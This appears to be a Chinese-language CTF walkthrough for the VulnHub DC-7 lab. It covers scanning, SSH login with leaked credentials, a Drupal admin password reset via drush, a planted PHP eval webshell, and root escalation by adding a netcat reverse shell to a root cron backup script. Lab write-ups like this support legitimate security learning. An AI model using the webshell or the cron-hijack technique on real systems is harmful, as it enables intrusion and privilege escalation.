dc-7下载DC: 7 ~ VulnHub查看kali的ip使用arp-scan扫描出dc-7的ip使用nmap扫描dc-7的服务和端口开放情况访问网站发现左下角有信息很可能是开发者的署名使用Google搜索查看该用户的项目查看config.php发现一个账密尝试登录网站失败但是ssh连接成功在家目录里发现这么这么一条这是用root权限执行的cron计划任务看名字是一个备份脚本查看备份文件权限属者是root属组为www-data我们当前没有写权限如果我们能够写入反弹shell命令在下次脚本运行时我们就能够拿到root权限的shell查看该文件有drush命令搜索drush命令Drush(Drush Drupal Shell)就是使用命令行命令来操作Drupal站点它的命令格式与git类似都是双字命令drush 实际的命令。既然是命令行命令也就可以使用其他脚本来实现相同的功能比如编写shell脚本来实现相同的功能也的确有不少人这样做过。但是使用Drush要远优于编写自己的脚本好处在于一是可以利用Drush开发社区的力量二是Drush的命令更加可靠适用于更多变的环境。执行drush user-password admin --passwordadmin可以修改网站后台密码登录成功此时我们可以修改页面内容例如写一个php木马再使用蚁剑连接首先去下载一个插件https://ftp.drupal.org/files/projects/php-8.x-1.1.tar.gz启用插件回到页面编辑选择php输入?php eval($_POST[‘amd’]);?并保存记下修改页面的url使用蚁剑连接成功此时我们就有了www-data权限在备份文件中写入nc命令Kali开启监听等一会即可该脚本每15min运行一次使用python -c import pty;pty.spawn(/bin/bash)拿到交互式shell在root目录下找到flag